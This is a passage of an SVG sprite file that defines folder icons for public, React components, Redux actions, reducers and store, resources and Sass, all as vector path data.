1.583 1.688.166 1.82.416 1.82.75 0 .576-.465.82-1.549.82-1.375 0-1.666-.341-1.77-1.022a.157.157 0 0 0-.153-.125h-.667c-.083 0-.146.063-.146.153 0 .861.472 1.903 2.736 1.903 1.632 0 2.57-.646 2.57-1.771 0-1.118-.75-1.41-2.34-1.625-1.605-.208-1.765-.32-1.765-.694 0-.313.14-.73 1.327-.73 1.042 0 1.451.23 1.611.945.014.07.076.118.146.118h.673a.134.134 0 0 0 .105-.049c.027-.028.048-.07.034-.11-.097-1.237-.916-1.806-2.57-1.806z" fill-rule="nonzero" fill="#f1f8e9"/></symbol><symbol clip-rule="evenodd" fill-rule="evenodd" stroke-linejoin="round" stroke-miterlimit="1.414" viewBox="0 0 24 24" id="folder-public" xmlns="http://www.w3.org/2000/svg"><path d="M10 4H4c-1.11 0-2 .89-2 2v12c0 1.097.903 2 2 2h16c1.097 0 2-.903 2-2V8a2 2 0 0 0-2-2h-8l-2-2z" fill="#039be5" fill-rule="nonzero"/><path d="M20.036 16.746c.05-.408.087-.817.087-1.237s-.037-.83-.087-1.238h2.091c.099.396.16.81.16 1.238a5.1 5.1 0 0 1-.16 1.237m-3.186 3.44c.371-.687.656-1.43.854-2.203h1.825a4.968 4.968 0 0 1-2.679 2.203m-.155-3.44h-2.895c-.062-.408-.099-.817-.099-1.237s.037-.835.1-1.238h2.894c.056.403.1.817.1 1.238s-.044.829-.1 1.237m-1.447 3.687a8.39 8.39 0 0 1-1.182-2.45h2.363a8.39 8.39 0 0 1-1.181 2.45m-2.475-7.399h-1.806a4.902 4.902 0 0 1 2.672-2.202c-.37.686-.65 1.429-.866 2.202m-1.806 4.95h1.806c.217.773.495 1.515.866 2.202a4.954 4.954 0 0 1-2.672-2.203m-.508-1.237a5.099 5.099 0 0 1-.16-1.237 5.1 5.1 0 0 1 .16-1.238h2.091c-.049.409-.086.817-.086 1.238s.037.829.086 1.237m2.698-6.168a8.425 8.425 0 0 1 1.181 2.456h-2.363a8.426 8.426 0 0 1 1.182-2.456m4.28 2.456h-1.824a9.682 9.682 0 0 0-.854-2.202 4.94 4.94 0 0 1 2.679 2.202m-4.281-3.712a6.193 6.193 0 0 0-6.187 6.187 6.186 6.186 0 0 0 6.187 6.186 6.186 6.186 0 0 0 6.186-6.186 6.186 6.186 0 0 0-6.186-6.187z" fill="#b3e5fc" stroke-width=".619"/></symbol><symbol clip-rule="evenodd" stroke-linejoin="round" stroke-miterlimit="1.414" viewBox="0 0 24 24" id="folder-public-open" xmlns="http://www.w3.org/2000/svg"><path d="M19 20H4a2 2 0 0 1-2-2V6c0-1.11.89-2 2-2h6l2 2h7c1.097 0 2 .903 2 2H4v10l2.14-8h17.07l-2.28 8.5c-.23.87-1.01 1.5-1.93 1.5z" fill="#039be5"/><path d="M20.037 16.746c.05-.408.087-.817.087-1.237s-.037-.83-.087-1.238h2.091c.099.396.16.81.16 1.238a5.1 5.1 0 0 1-.16 1.237m-3.186 3.44c.371-.687.656-1.43.854-2.203h1.825a4.967 4.967 0 0 1-2.68 2.203m-.154-3.44h-2.895c-.062-.408-.099-.817-.099-1.237s.037-.835.099-1.238h2.895c.056.403.1.817.1 1.238s-.044.829-.1 1.237m-1.447 3.687a8.39 8.39 0 0 1-1.182-2.45h2.363a8.39 8.39 0 0 1-1.181 2.45m-2.475-7.399H13.06a4.902 4.902 0 0 1 2.672-2.202c-.371.686-.65 1.429-.866 2.202m-1.806 4.95h1.806c.217.773.495 1.515.866 2.202a4.954 4.954 0 0 1-2.672-2.203m-.508-1.237a5.099 5.099 0 0 1-.16-1.237 5.1 5.1 0 0 1 .16-1.238h2.091c-.05.409-.086.817-.086 1.238s.037.829.086 1.237m2.698-6.168a8.425 8.425 0 0 1 1.181 2.456h-2.363a8.426 8.426 0 0 1 1.182-2.456m4.28 2.456h-1.824a9.682 9.682 0 0 0-.854-2.202 4.941 4.941 0 0 1 2.679 2.202M17.34 9.322a6.193 6.193 0 0 0-6.187 6.187 6.186 6.186 0 0 0 6.187 6.186 6.186 6.186 0 0 0 6.186-6.186 6.186 6.186 0 0 0-6.186-6.187z" fill="#b3e5fc" stroke-width=".619"/></symbol><symbol clip-rule="evenodd" fill-rule="evenodd" stroke-linejoin="round" stroke-miterlimit="1.414" viewBox="0 0 24 24" id="folder-react-components" xmlns="http://www.w3.org/2000/svg"><path d="M10 4H4c-1.11 0-2 .89-2 2v12c0 1.097.903 2 2 2h16c1.097 0 2-.903 2-2V8a2 2 0 0 0-2-2h-8l-2-2z" fill="#00bcd4" fill-rule="nonzero"/><path d="M16.473 13.927c.723 0 1.313.59 1.313 1.327 0 .703-.59 1.3-1.313 1.3a1.318 1.318 0 0 1-1.313-1.3c0-.737.59-1.327 1.313-1.327m-3.252 6.946c.443.267 1.412-.14 2.529-1.194a17.015 17.015 0 0 1-1.06-1.335 15.945 15.945 0 0 1-1.686-.252c-.358 1.502-.225 2.535.217 2.78m.499-4.03l-.204-.359a5.558 5.558 0 0 0-.203.604c.19.042.4.078.618.113l-.211-.359m4.593-.533l.569-1.054-.569-1.053c-.21-.372-.435-.702-.639-1.032-.38-.022-.78-.022-1.2-.022-.422 0-.823 0-1.202.022-.204.33-.428.66-.639 1.032l-.569 1.053.57 1.054c.21.372.434.702.638 1.032.38.021.78.021 1.201.021.421 0 .822 0 1.201-.02.204-.331.428-.661.639-1.033m-1.84-4.72c-.133.155-.274.316-.414.506h.828c-.14-.19-.28-.351-.414-.506m0 7.332c.133-.154.274-.316.414-.505h-.828c.14.19.28.35.414.505m3.245-9.284c-.436-.267-1.405.14-2.522 1.194.366.414.724.864 1.06 1.334.577.057 1.146.14 1.686.253.359-1.503.225-2.535-.224-2.78m-.492 4.03l.204.358c.077-.203.154-.407.203-.604-.19-.042-.4-.077-.618-.112l.211.358m1.018-4.95c1.033.589 1.145 2.141.71 3.953 1.784.527 3.069 1.398 3.069 2.584 0 1.187-1.285 2.058-3.07 2.585.436 1.812.324 3.364-.709 3.954-1.025.59-2.423-.085-3.77-1.37-1.35 1.285-2.747 1.96-3.78 1.37-1.025-.59-1.137-2.142-.702-3.954-1.783-.527-3.069-1.398-3.069-2.585s1.286-2.057 3.07-2.584c-.436-1.812-.324-3.364.702-3.954 1.032-.59 2.43.084 3.778 1.37 1.348-1.286 2.746-1.96 3.771-1.37m-.203 6.538c.239.527.45 1.054.625 1.588 1.475-.443 2.303-1.075 2.303-1.588 0-.512-.828-1.144-2.303-1.587a15.81 15.81 0 0 1-.625 1.587m-7.136 0a15.806 15.806 0 0 1-.625-1.587c-1.474.443-2.303 1.075-2.303 1.587 0 .513.829 1.145 2.303 1.588.176-.534.387-1.06.625-1.588m6.321 1.588l-.21.358c.217-.035.428-.07.617-.113-.049-.196-.126-.4-.203-.604l-.204.359m-2.03 2.837c1.117 1.053 2.086 1.46 2.522 1.194.45-.246.583-1.278.224-2.781-.54.112-1.11.196-1.685.253-.337.47-.695.92-1.06 1.334m-3.477-6.012l.21-.358c-.217.035-.428.07-.617.113.049.196.126.4.203.604l.204-.359m2.03-2.837c-1.117-1.053-2.086-1.46-2.529-1.194-.442.246-.576 1.278-.217 2.781.54-.112 1.11-.196 1.685-.253.337-.47.695-.92 1.06-1.334z" fill="#b2ebf2" stroke-width=".702"/></symbol><symbol clip-rule="evenodd" stroke-linejoin="round" stroke-miterlimit="1.414" viewBox="0 0 24 24" id="folder-react-components-open" xmlns="http://www.w3.org/2000/svg"><path d="M19 20H4a2 2 0 0 1-2-2V6c0-1.11.89-2 2-2h6l2 2h7c1.097 0 2 .903 2 2H4v10l2.14-8h17.07l-2.28 8.5c-.23.87-1.01 1.5-1.93 1.5z" fill="#00bcd4"/><path d="M16.473 13.928c.723 0 1.313.59 1.313 1.327 0 .703-.59 1.3-1.313 1.3a1.318 1.318 0 0 1-1.313-1.3c0-.737.59-1.327 1.313-1.327m-3.252 6.946c.443.267 1.412-.14 2.529-1.194a16.997 16.997 0 0 1-1.06-1.335 15.945 15.945 0 0 1-1.686-.252c-.358 1.502-.225 2.535.217 2.78m.499-4.03l-.204-.359c-.077.204-.154.408-.203.604.19.042.4.078.618.113l-.211-.359m4.593-.533l.569-1.054-.57-1.053c-.21-.372-.434-.702-.638-1.032-.38-.022-.78-.022-1.201-.022-.421 0-.822 0-1.2.022-.205.33-.43.66-.64 1.032l-.569 1.053.569 1.054c.21.372.435.702.64 1.032.378.021.779.021 1.2.021.421 0 .822 0 1.2-.02.205-.33.43-.661.64-1.033m-1.84-4.72c-.133.155-.274.316-.414.506h.828c-.14-.19-.28-.351-.414-.506m0 7.332c.133-.154.274-.316.414-.505h-.828c.14.19.28.35.414.505m3.244-9.284c-.435-.267-1.404.14-2.52 1.194.364.414.723.864 1.06 1.334.575.057 1.144.14 1.685.253.358-1.503.225-2.535-.225-2.78m-.491 4.03l.203.358c.078-.203.155-.407.204-.604-.19-.042-.4-.077-.618-.112l.21.358m1.02-4.95c1.032.589 1.144 2.141.708 3.953 1.784.527 3.07 1.398 3.07 2.584 0 1.187-1.286 2.058-3.07 2.585.436 1.812.323 3.364-.709 3.954-1.025.59-2.423-.085-3.771-1.37-1.348 1.285-2.746 1.96-3.778 1.37-1.026-.59-1.138-2.142-.703-3.954-1.783-.527-3.069-1.398-3.069-2.585s1.286-2.057 3.07-2.584c-.436-1.812-.324-3.364.702-3.954 1.032-.59 2.43.084 3.778 1.37 1.348-1.286 2.746-1.96 3.771-1.37m-.204 6.538c.24.527.45 1.054.625 1.588 1.475-.443 2.304-1.075 2.304-1.588 0-.512-.829-1.144-2.304-1.587a15.81 15.81 0 0 1-.625 1.587m-7.135 0a15.808 15.808 0 0 1-.625-1.587c-1.475.443-2.303 1.075-2.303 1.587 0 .513.828 1.145 2.303 1.588.176-.534.386-1.06.625-1.588m6.32 1.588l-.21.358c.218-.035.428-.07.618-.113a5.56 5.56 0 0 0-.204-.604l-.203.359m-2.03 2.837c1.117 1.053 2.086 1.46 2.521 1.194.45-.246.583-1.278.225-2.781-.54.112-1.11.196-1.685.253-.338.47-.696.92-1.06 1.334m-3.477-6.012l.21-.358c-.217.035-.428.07-.617.112.049.197.126.4.203.604l.204-.358m2.03-2.837c-1.117-1.053-2.086-1.46-2.529-1.194-.442.246-.576 1.278-.217 2.781.54-.112 1.11-.196 1.685-.253.337-.47.695-.92 1.06-1.334z" fill="#b2ebf2" stroke-width=".702"/></symbol><symbol clip-rule="evenodd" fill-rule="evenodd" stroke-linejoin="round" stroke-miterlimit="1.414" viewBox="0 0 24 24" id="folder-redux-actions" xmlns="http://www.w3.org/2000/svg"><path d="M10 4H4c-1.11 0-2 .89-2 2v12c0 1.097.903 2 2 2h16c1.097 0 2-.903 2-2V8a2 2 0 0 0-2-2h-8l-2-2z" fill="#ab47bc" fill-rule="nonzero"/><g transform="translate(8.378 6.436) scale(.17228)" fill="#e1bee7" stroke="#e1bee7" stroke-miterlimit="4" stroke-width="1.702"><path d="M65.6 65.4c2.9-.3 5.1-2.8 5-5.8S68 54.2 65 54.2h-.2c-3.1.1-5.5 2.7-5.4 5.8.1 1.5.7 2.8 1.6 3.7-3.4 6.7-8.6 11.6-16.4 15.7-5.3 2.8-10.8 3.8-16.3 3.1-4.5-.6-8-2.6-10.2-5.9-3.2-4.9-3.5-10.2-.8-15.5 1.9-3.8 4.9-6.6 6.8-8-.4-1.3-1-3.5-1.3-5.1-14.5 10.5-13 24.7-8.6 31.4 3.3 5 10 8.1 17.4 8.1 2 0 4-.2 6-.7 12.8-2.5 22.5-10.1 28-21.4z"/><path d="M83.2 53c-7.6-8.9-18.8-13.8-31.6-13.8H50c-.9-1.8-2.8-3-4.9-3h-.2c-3.1.1-5.5 2.7-5.4 5.8.1 3 2.6 5.4 5.6 5.4h.2c2.2-.1 4.1-1.5 4.9-3.4H52c7.6 0 14.8 2.2 21.3 6.5 5 3.3 8.6 7.6 10.6 12.8 1.7 4.2 1.6 8.3-.2 11.8-2.8 5.3-7.5 8.2-13.7 8.2-4 0-7.8-1.2-9.8-2.1-1.1 1-3.1 2.6-4.5 3.6 4.3 2 8.7 3.1 12.9 3.1 9.6 0 16.7-5.3 19.4-10.6 2.9-5.8 2.7-15.8-4.8-24.3z"/><path d="M32.4 67.1c.1 3 2.6 5.4 5.6 5.4h.2c3.1-.1 5.5-2.7 5.4-5.8-.1-3-2.6-5.4-5.6-5.4h-.2c-.2 0-.5 0-.7.1-4.1-6.8-5.8-14.2-5.2-22.2.4-6 2.4-11.2 5.9-15.5 2.9-3.7 8.5-5.5 12.3-5.6 10.6-.2 15.1 13 15.4 18.3 1.3.3 3.5 1 5 1.5-1.2-16.2-11.2-24.6-20.8-24.6-9 0-17.3 6.5-20.6 16.1-4.6 12.8-1.6 25.1 4 34.8-.5.7-.8 1.8-.7 2.9z"/></g></symbol><symbol clip-rule="evenodd" stroke-linejoin="round" stroke-miterlimit="1.414" viewBox="0 0 24 24" id="folder-redux-actions-open" xmlns="http://www.w3.org/2000/svg"><path d="M19 20H4a2 2 0 0 1-2-2V6c0-1.11.89-2 2-2h6l2 2h7c1.097 0 2 .903 2 2H4v10l2.14-8h17.07l-2.28 8.5c-.23.87-1.01 1.5-1.93 1.5z" fill="#ab47bc"/><g transform="translate(8.378 6.436) scale(.17228)" fill="#e1bee7" stroke="#e1bee7" stroke-miterlimit="4" stroke-width="1.702"><path d="M65.6 65.4c2.9-.3 5.1-2.8 5-5.8S68 54.2 65 54.2h-.2c-3.1.1-5.5 2.7-5.4 5.8.1 1.5.7 2.8 1.6 3.7-3.4 6.7-8.6 11.6-16.4 15.7-5.3 2.8-10.8 3.8-16.3 3.1-4.5-.6-8-2.6-10.2-5.9-3.2-4.9-3.5-10.2-.8-15.5 1.9-3.8 4.9-6.6 6.8-8-.4-1.3-1-3.5-1.3-5.1-14.5 10.5-13 24.7-8.6 31.4 3.3 5 10 8.1 17.4 8.1 2 0 4-.2 6-.7 12.8-2.5 22.5-10.1 28-21.4z"/><path d="M83.2 53c-7.6-8.9-18.8-13.8-31.6-13.8H50c-.9-1.8-2.8-3-4.9-3h-.2c-3.1.1-5.5 2.7-5.4 5.8.1 3 2.6 5.4 5.6 5.4h.2c2.2-.1 4.1-1.5 4.9-3.4H52c7.6 0 14.8 2.2 21.3 6.5 5 3.3 8.6 7.6 10.6 12.8 1.7 4.2 1.6 8.3-.2 11.8-2.8 5.3-7.5 8.2-13.7 8.2-4 0-7.8-1.2-9.8-2.1-1.1 1-3.1 2.6-4.5 3.6 4.3 2 8.7 3.1 12.9 3.1 9.6 0 16.7-5.3 19.4-10.6 2.9-5.8 2.7-15.8-4.8-24.3z"/><path d="M32.4 67.1c.1 3 2.6 5.4 5.6 5.4h.2c3.1-.1 5.5-2.7 5.4-5.8-.1-3-2.6-5.4-5.6-5.4h-.2c-.2 0-.5 0-.7.1-4.1-6.8-5.8-14.2-5.2-22.2.4-6 2.4-11.2 5.9-15.5 2.9-3.7 8.5-5.5 12.3-5.6 10.6-.2 15.1 13 15.4 18.3 1.3.3 3.5 1 5 1.5-1.2-16.2-11.2-24.6-20.8-24.6-9 0-17.3 6.5-20.6 16.1-4.6 12.8-1.6 25.1 4 34.8-.5.7-.8 1.8-.7 2.9z"/></g></symbol><symbol clip-rule="evenodd" fill-rule="evenodd" stroke-linejoin="round" stroke-miterlimit="1.414" viewBox="0 0 24 24" id="folder-redux-reducer" xmlns="http://www.w3.org/2000/svg"><path d="M10 4H4c-1.11 0-2 .89-2 2v12c0 1.097.903 2 2 2h16c1.097 0 2-.903 2-2V8a2 2 0 0 0-2-2h-8l-2-2z" fill="#ef5350" fill-rule="nonzero"/><g transform="translate(8.378 6.436) scale(.17228)" fill="#ffcdd2" stroke="#ffcdd2" stroke-miterlimit="4" stroke-width="1.702"><path d="M65.6 65.4c2.9-.3 5.1-2.8 5-5.8S68 54.2 65 54.2h-.2c-3.1.1-5.5 2.7-5.4 5.8.1 1.5.7 2.8 1.6 3.7-3.4 6.7-8.6 11.6-16.4 15.7-5.3 2.8-10.8 3.8-16.3 3.1-4.5-.6-8-2.6-10.2-5.9-3.2-4.9-3.5-10.2-.8-15.5 1.9-3.8 4.9-6.6 6.8-8-.4-1.3-1-3.5-1.3-5.1-14.5 10.5-13 24.7-8.6 31.4 3.3 5 10 8.1 17.4 8.1 2 0 4-.2 6-.7 12.8-2.5 22.5-10.1 28-21.4z"/><path d="M83.2 53c-7.6-8.9-18.8-13.8-31.6-13.8H50c-.9-1.8-2.8-3-4.9-3h-.2c-3.1.1-5.5 2.7-5.4 5.8.1 3 2.6 5.4 5.6 5.4h.2c2.2-.1 4.1-1.5 4.9-3.4H52c7.6 0 14.8 2.2 21.3 6.5 5 3.3 8.6 7.6 10.6 12.8 1.7 4.2 1.6 8.3-.2 11.8-2.8 5.3-7.5 8.2-13.7 8.2-4 0-7.8-1.2-9.8-2.1-1.1 1-3.1 2.6-4.5 3.6 4.3 2 8.7 3.1 12.9 3.1 9.6 0 16.7-5.3 19.4-10.6 2.9-5.8 2.7-15.8-4.8-24.3z"/><path d="M32.4 67.1c.1 3 2.6 5.4 5.6 5.4h.2c3.1-.1 5.5-2.7 5.4-5.8-.1-3-2.6-5.4-5.6-5.4h-.2c-.2 0-.5 0-.7.1-4.1-6.8-5.8-14.2-5.2-22.2.4-6 2.4-11.2 5.9-15.5 2.9-3.7 8.5-5.5 12.3-5.6 10.6-.2 15.1 13 15.4 18.3 1.3.3 3.5 1 5 1.5-1.2-16.2-11.2-24.6-20.8-24.6-9 0-17.3 6.5-20.6 16.1-4.6 12.8-1.6 25.1 4 34.8-.5.7-.8 1.8-.7 2.9z"/></g></symbol><symbol clip-rule="evenodd" stroke-linejoin="round" stroke-miterlimit="1.414" viewBox="0 0 24 24" id="folder-redux-reducer-open" xmlns="http://www.w3.org/2000/svg"><path d="M19 20H4a2 2 0 0 1-2-2V6c0-1.11.89-2 2-2h6l2 2h7c1.097 0 2 .903 2 2H4v10l2.14-8h17.07l-2.28 8.5c-.23.87-1.01 1.5-1.93 1.5z" fill="#ef5350"/><g transform="translate(8.378 6.436) scale(.17228)" fill="#ffcdd2" stroke="#ffcdd2" stroke-miterlimit="4" stroke-width="1.702"><path d="M65.6 65.4c2.9-.3 5.1-2.8 5-5.8S68 54.2 65 54.2h-.2c-3.1.1-5.5 2.7-5.4 5.8.1 1.5.7 2.8 1.6 3.7-3.4 6.7-8.6 11.6-16.4 15.7-5.3 2.8-10.8 3.8-16.3 3.1-4.5-.6-8-2.6-10.2-5.9-3.2-4.9-3.5-10.2-.8-15.5 1.9-3.8 4.9-6.6 6.8-8-.4-1.3-1-3.5-1.3-5.1-14.5 10.5-13 24.7-8.6 31.4 3.3 5 10 8.1 17.4 8.1 2 0 4-.2 6-.7 12.8-2.5 22.5-10.1 28-21.4z"/><path d="M83.2 53c-7.6-8.9-18.8-13.8-31.6-13.8H50c-.9-1.8-2.8-3-4.9-3h-.2c-3.1.1-5.5 2.7-5.4 5.8.1 3 2.6 5.4 5.6 5.4h.2c2.2-.1 4.1-1.5 4.9-3.4H52c7.6 0 14.8 2.2 21.3 6.5 5 3.3 8.6 7.6 10.6 12.8 1.7 4.2 1.6 8.3-.2 11.8-2.8 5.3-7.5 8.2-13.7 8.2-4 0-7.8-1.2-9.8-2.1-1.1 1-3.1 2.6-4.5 3.6 4.3 2 8.7 3.1 12.9 3.1 9.6 0 16.7-5.3 19.4-10.6 2.9-5.8 2.7-15.8-4.8-24.3z"/><path d="M32.4 67.1c.1 3 2.6 5.4 5.6 5.4h.2c3.1-.1 5.5-2.7 5.4-5.8-.1-3-2.6-5.4-5.6-5.4h-.2c-.2 0-.5 0-.7.1-4.1-6.8-5.8-14.2-5.2-22.2.4-6 2.4-11.2 5.9-15.5 2.9-3.7 8.5-5.5 12.3-5.6 10.6-.2 15.1 13 15.4 18.3 1.3.3 3.5 1 5 1.5-1.2-16.2-11.2-24.6-20.8-24.6-9 0-17.3 6.5-20.6 16.1-4.6 12.8-1.6 25.1 4 34.8-.5.7-.8 1.8-.7 2.9z"/></g></symbol><symbol clip-rule="evenodd" fill-rule="evenodd" stroke-linejoin="round" stroke-miterlimit="1.414" viewBox="0 0 24 24" id="folder-redux-store" xmlns="http://www.w3.org/2000/svg"><path d="M10 4H4c-1.11 0-2 .89-2 2v12c0 1.097.903 2 2 2h16c1.097 0 2-.903 2-2V8a2 2 0 0 0-2-2h-8l-2-2z" fill="#8bc34a" fill-rule="nonzero"/><g transform="translate(8.378 6.436) scale(.17228)" fill="#dcedc8" stroke="#dcedc8" stroke-miterlimit="4" stroke-width="1.702"><path d="M65.6 65.4c2.9-.3 5.1-2.8 5-5.8S68 54.2 65 54.2h-.2c-3.1.1-5.5 2.7-5.4 5.8.1 1.5.7 2.8 1.6 3.7-3.4 6.7-8.6 11.6-16.4 15.7-5.3 2.8-10.8 3.8-16.3 3.1-4.5-.6-8-2.6-10.2-5.9-3.2-4.9-3.5-10.2-.8-15.5 1.9-3.8 4.9-6.6 6.8-8-.4-1.3-1-3.5-1.3-5.1-14.5 10.5-13 24.7-8.6 31.4 3.3 5 10 8.1 17.4 8.1 2 0 4-.2 6-.7 12.8-2.5 22.5-10.1 28-21.4z"/><path d="M83.2 53c-7.6-8.9-18.8-13.8-31.6-13.8H50c-.9-1.8-2.8-3-4.9-3h-.2c-3.1.1-5.5 2.7-5.4 5.8.1 3 2.6 5.4 5.6 5.4h.2c2.2-.1 4.1-1.5 4.9-3.4H52c7.6 0 14.8 2.2 21.3 6.5 5 3.3 8.6 7.6 10.6 12.8 1.7 4.2 1.6 8.3-.2 11.8-2.8 5.3-7.5 8.2-13.7 8.2-4 0-7.8-1.2-9.8-2.1-1.1 1-3.1 2.6-4.5 3.6 4.3 2 8.7 3.1 12.9 3.1 9.6 0 16.7-5.3 19.4-10.6 2.9-5.8 2.7-15.8-4.8-24.3z"/><path d="M32.4 67.1c.1 3 2.6 5.4 5.6 5.4h.2c3.1-.1 5.5-2.7 5.4-5.8-.1-3-2.6-5.4-5.6-5.4h-.2c-.2 0-.5 0-.7.1-4.1-6.8-5.8-14.2-5.2-22.2.4-6 2.4-11.2 5.9-15.5 2.9-3.7 8.5-5.5 12.3-5.6 10.6-.2 15.1 13 15.4 18.3 1.3.3 3.5 1 5 1.5-1.2-16.2-11.2-24.6-20.8-24.6-9 0-17.3 6.5-20.6 16.1-4.6 12.8-1.6 25.1 4 34.8-.5.7-.8 1.8-.7 2.9z"/></g></symbol><symbol clip-rule="evenodd" stroke-linejoin="round" stroke-miterlimit="1.414" viewBox="0 0 24 24" id="folder-redux-store-open" xmlns="http://www.w3.org/2000/svg"><path d="M19 20H4a2 2 0 0 1-2-2V6c0-1.11.89-2 2-2h6l2 2h7c1.097 0 2 .903 2 2H4v10l2.14-8h17.07l-2.28 8.5c-.23.87-1.01 1.5-1.93 1.5z" fill="#8bc34a"/><g transform="translate(8.378 6.436) scale(.17228)" fill="#dcedc8" stroke="#dcedc8" stroke-miterlimit="4" stroke-width="1.702"><path d="M65.6 65.4c2.9-.3 5.1-2.8 5-5.8S68 54.2 65 54.2h-.2c-3.1.1-5.5 2.7-5.4 5.8.1 1.5.7 2.8 1.6 3.7-3.4 6.7-8.6 11.6-16.4 15.7-5.3 2.8-10.8 3.8-16.3 3.1-4.5-.6-8-2.6-10.2-5.9-3.2-4.9-3.5-10.2-.8-15.5 1.9-3.8 4.9-6.6 6.8-8-.4-1.3-1-3.5-1.3-5.1-14.5 10.5-13 24.7-8.6 31.4 3.3 5 10 8.1 17.4 8.1 2 0 4-.2 6-.7 12.8-2.5 22.5-10.1 28-21.4z"/><path d="M83.2 53c-7.6-8.9-18.8-13.8-31.6-13.8H50c-.9-1.8-2.8-3-4.9-3h-.2c-3.1.1-5.5 2.7-5.4 5.8.1 3 2.6 5.4 5.6 5.4h.2c2.2-.1 4.1-1.5 4.9-3.4H52c7.6 0 14.8 2.2 21.3 6.5 5 3.3 8.6 7.6 10.6 12.8 1.7 4.2 1.6 8.3-.2 11.8-2.8 5.3-7.5 8.2-13.7 8.2-4 0-7.8-1.2-9.8-2.1-1.1 1-3.1 2.6-4.5 3.6 4.3 2 8.7 3.1 12.9 3.1 9.6 0 16.7-5.3 19.4-10.6 2.9-5.8 2.7-15.8-4.8-24.3z"/><path d="M32.4 67.1c.1 3 2.6 5.4 5.6 5.4h.2c3.1-.1 5.5-2.7 5.4-5.8-.1-3-2.6-5.4-5.6-5.4h-.2c-.2 0-.5 0-.7.1-4.1-6.8-5.8-14.2-5.2-22.2.4-6 2.4-11.2 5.9-15.5 2.9-3.7 8.5-5.5 12.3-5.6 10.6-.2 15.1 13 15.4 18.3 1.3.3 3.5 1 5 1.5-1.2-16.2-11.2-24.6-20.8-24.6-9 0-17.3 6.5-20.6 16.1-4.6 12.8-1.6 25.1 4 34.8-.5.7-.8 1.8-.7 2.9z"/></g></symbol><symbol clip-rule="evenodd" fill-rule="evenodd" stroke-linejoin="round" stroke-miterlimit="1.414" viewBox="0 0 24 24" id="folder-resource" xmlns="http://www.w3.org/2000/svg"><path d="M10 4H4c-1.11 0-2 .89-2 2v12c0 1.097.903 2 2 2h16c1.097 0 2-.903 2-2V8a2 2 0 0 0-2-2h-8l-2-2z" fill="#fbc02d" fill-rule="nonzero"/><path d="M21.598 12.059h-6.085v-1.217h6.085m-2.434 6.085h-3.65V15.71h3.65m2.434-1.217h-6.085v-1.217h6.085m.608-4.26h-7.301a1.217 1.217 0 0 0-1.217 1.218v7.301a1.217 1.217 0 0 0 1.217 1.217h7.301a1.217 1.217 0 0 0 1.217-1.217v-7.301a1.217 1.217 0 0 0-1.217-1.217m-9.735 2.434h-1.217v8.518a1.217 1.217 0 0 0 1.217 1.217h8.519v-1.217H12.47z" fill="#fff9c4" stroke-width=".608"/></symbol><symbol clip-rule="evenodd" stroke-linejoin="round" stroke-miterlimit="1.414" viewBox="0 0 24 24" id="folder-resource-open" xmlns="http://www.w3.org/2000/svg"><path d="M19 20H4a2 2 0 0 1-2-2V6c0-1.11.89-2 2-2h6l2 2h7c1.097 0 2 .903 2 2H4v10l2.14-8h17.07l-2.28 8.5c-.23.87-1.01 1.5-1.93 1.5z" fill="#fbc02d"/><path d="M21.598 12.059h-6.085v-1.217h6.085m-2.434 6.085h-3.65V15.71h3.65m2.434-1.217h-6.085v-1.217h6.085m.608-4.26h-7.301a1.217 1.217 0 0 0-1.217 1.218v7.301a1.217 1.217 0 0 0 1.217 1.217h7.301a1.217 1.217 0 0 0 1.217-1.217v-7.301a1.217 1.217 0 0 0-1.217-1.217m-9.735 2.433h-1.217v8.519a1.217 1.217 0 0 0 1.217 1.217h8.519v-1.217H12.47z" fill="#fff9c4" stroke-width=".608"/></symbol><symbol viewBox="0 0 24 24" fill-rule="evenodd" clip-rule="evenodd" id="folder-sass" xmlns="http://www.w3.org/2000/svg"><path d="M10 4H4c-1.11 0-2 .89-2 2v12c0 1.097.903 2 2 2h16c1.097 0 2-.903 2-2V8a2 2 0 0 0-2-2h-8l-2-2z" fill="#f8bbd0" fill-rule="nonzero"/><path d="M23.36 10.506c-.39-1.527-2.922-2.03-5.319-1.178-1.426.507-2.97 1.302-4.08 2.34-1.32 1.235-1.53 2.31-1.444 2.759.306 1.584 2.477 2.62 3.37 3.388v.005c-.264.13-2.19 1.104-2.64 2.1-.476 1.052.075 1.806.44 1.908 1.131.315 2.292-.251 2.916-1.182.602-.897.551-2.056.29-2.633.36-.095.781-.138 1.316-.076 1.508.177 1.804 1.118 1.748 1.513-.057.394-.373.61-.48.676-.105.065-.137.088-.129.137.013.07.062.068.152.053.125-.021.792-.321.821-1.048.037-.924-.849-1.958-2.416-1.93-.646.01-1.052.072-1.345.181-.022-.024-.044-.05-.067-.073-.969-1.034-2.76-1.765-2.684-3.156.027-.505.203-1.835 3.442-3.45 2.653-1.322 4.777-.957 5.145-.151.524 1.152-1.136 3.293-3.891 3.601-1.05.118-1.603-.289-1.74-.44-.145-.16-.166-.167-.22-.137-.088.049-.033.19 0 .274.082.214.42.594.995.782.506.166 1.739.258 3.23-.319 1.669-.646 2.972-2.443 2.59-3.944zm-7.103 7.783a2.2 2.2 0 0 1-.065 1.413 2.405 2.405 0 0 1-.453.704c-.5.546-1.198.752-1.497.579-.323-.188-.161-.956.418-1.568.623-.66 1.52-1.083 1.52-1.083l-.002-.002.079-.043z" fill="#ec407a" fill-rule="nonzero" stroke="#ec407a" stroke-width=".5199012000000001"/></symbol><symbol viewBox="0 0 24 24" fill-rule="evenodd" clip-rule="evenodd" id="folder-sass-open" xmlns="http://www.w3.org/2000/svg"><path d="M19 20H4a2 2 0 0 1-2-2V6c0-1.11.89-2 2-2h6l2 2h7c1.097 0 2 .903 2 2H4v10l2.14-8h17.07l-2.28 8.5c-.23.87-1.01 1.5-1.93 1.5z" fill="#f8bbd0" fill-rule="nonzero"/><path d="M23.36 10.506c-.39-1.527-2.922-2.03-5.319-1.178-1.426.507-2.97 1.302-4.08 2.34-1.32 1.235-1.53 2.31-1.444 2.759.306 1.584 2.477 2.62 3.37 3.388v.005c-.264.13-2.19 1.104-2.64 2.1-.476 1.052.075 1.806.44 1.908 1.131.315 2.292-.251 2.916-1.182.602-.897.551-2.056.29-2.633.36-.095.781-.138 1.316-.076 1.508.177 1.804 1.118 1.748 1.513-.057.394-.373.61-.48.676-.105.065-.137.088-.129.137.013.07.062.068.152.053.125-.021.792-.321.821-1.048.037-.924-.849-1.958-2.416-1.93-.646.01-1.052.072-1.345.181-.022-.024-.044-.05-.067-.073-.969-1.034-2.76-1.765-2.684-3.156.027-.505.203-1.835 3.442-3.45 2.653-1.322 4.777-.957 5.145-.151.524 1.152-1.136 3.293-3.891 